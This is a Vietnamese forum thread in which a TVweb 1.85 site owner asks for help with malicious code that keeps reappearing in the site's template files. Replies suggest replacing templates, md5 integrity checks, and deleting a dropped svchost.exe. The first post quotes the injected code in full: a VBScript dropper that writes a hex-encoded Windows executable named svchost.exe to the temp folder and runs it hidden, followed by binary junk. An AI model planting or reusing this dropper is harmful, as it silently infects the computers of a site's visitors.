Tvweb 1.85 liên tục bị xuất hiện mã độc

[sunnight]

Hiện tại em dùng tvweb 1.85 toàn bị dính mã độc trong các file html mục templtes , E đã xóa mã độc liên tục nhưng 1 , 2 ngày nó lại xuất hiện trong vài file html
Ai truy cập vào web của em nhiều cũng bị hỏng máy

Nội dụng đoạn mã như sau:

<div id="subbottom"></div><SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000D80000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000005258727E16391C2D16391C2D16391C2DD536412D1B391C2D16391D2D54391C2D31FF6E2D17391C2D31FF602D17391C2D31FF642D17391C2D5269636816391C2D000000000000000000000000000000000000000000000000504500004C010500119D4A4D0000000000000000E0000F010B01080000080000009A0100000000000011000000100000002000000000400000100000000200000400000000000000040000000000000000A002000004000000000000020000040000100000100000000010000010000000000000100000000000000000000000602100008C00000000900100003400000000000000000000000000000000000000D00100C000000000000000000000000000000000000000000000000000000000000000000000000020000020000000000000000000000000200000200100000000000000000000000000000000000000000000000000002E74657874000000D6060000001000000008000000040000000000000000000000000000200000602E72646174610000980700000020000000080000000C0000000000000000000000000000400000402E64617461000000385A010000300000005C010000140000000000000000000000000000400000C02E72737263000000003400000090010000340000007001000000000000000000000000004000004020C42E1F7D94A05D4955A9B34A5AA828820A449D60B686257131A16D023C5A5FC6DFE74664AFAD424CF354060F9D3009567044674FDC137012F940CF9846D7E3AC89A7EC06373F7F4903320A65328DAF4903320F4903320F4903320F4903320F4903320F4903320F4903320"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT><!--:“Dg¨LYÖŠ½ë2oÁd÷Ccâ:b‡!Ù“l~"4J_¶Ä„}]Ò¸¼70à^)Tô^6ø¸ÚX=¯X‰Õ\b”{)ã¾ÂvßÑ¥EãETìÞå]JªªkžÍ}Ï^ʩžý|3ÞêTBðå/ЫY†#ªoVk\À½IH0Ðœ"ÙŽ`ÀzxÞƛٴj¡@¥-d—ìSå臲öã/sf_’û)”ïôÏÝVú!.;LüÐÚu²Öâ´ü;Êk­„t™A¡f=èœ×z/Lù'¡?ºp‚»Z–:îú0Cofí|˜šhøž×Iû{v²Ï•Æ¯îO¹h`´ëmöÍf¯ÒU!™Ms%rÃ¥6    ÒŒ”’Ô·GlR7štåæ4@’¨–z:±›9¨B’xPS0—°ç¸6Ëàê¼-=pÕÁ«¸fÅd¬kô£Á7PZMvÎëÔð•§"*uq?¦bs–Ò=Šð)Œ:üµN¿&wÍ;ÂOåÎÕýÑÍ<…:w?çz&—£—½Êmþ´çI­"þ8s¼ü?µF(Œ›æî¢ £åʱ܂1,¼*%ð½p
]³×ßò>ÎÓ¹”€J?î“ Ò<
R'ûÒ<
Ò<
Ò<
ûtL8~åNkÔ<
 Ò<
--> 

Có ai đã từng gặp vấn đề này mà giải quyết được thì giúp em với .
Bây giờ chuyển qua dùng NBB cũng khổ , các thành viên cũ đã dùng pass game và pass web giống nhau , bây giờ mà dùng NBB thì các tài khoản ấy không đăng nhập được nữa

[kt12d1]

thay templtes là được cậu à... mìh đã bị lỗi này rồi... pm yahoo trao đổi thêm nhé cậu

[sunnight]

Mình đã thay templates của nó rất nhiều và thỉnh thoảng vào host kiểm tra lại vẫn có mấy file bị

[Mr.Hau]

lỗ hổng bảo mật thôi , trước hết đơn giản hóa vấn đề là đổi tên templates và thay đổi 1 templates khác đơn giản thôi để tìm hiểu nguyên nhân từ file nào

thứ 2 bạn có thể google file check md5 file php online ấy,xem file nào bị thay đổi thì kiểm tra nhé

[Hào Hoa Công Tử]

dính shell.............................................

[mrgacon]

cái này 3 năm trước tôi bị dính 1 fat kiểm tra tất cả file htm va php trong ổ cứng thì thấy bị hết
may mà các file để chế độ winrar lên giải nén là hết
các ổ c:\ d:\ e:\ có con svhost.exe đó xóa đi ko lại ăn hết các file htm php đó

[sunnight]

lỗ hổng bảo mật thôi , trước hết đơn giản hóa vấn đề là đổi tên templates và thay đổi 1 templates khác đơn giản thôi để tìm hiểu nguyên nhân từ file nào

thứ 2 bạn có thể google file check md5 file php online ấy,xem file nào bị thay đổi thì kiểm tra nhé

google file check md5 file php online là thế nào hả bác , chắc chắn là do 1file nằm trên chính server của mình, nó có nhiệm vụ phá TVweb của mình dùng free hay sao ấy
Chết em rồi.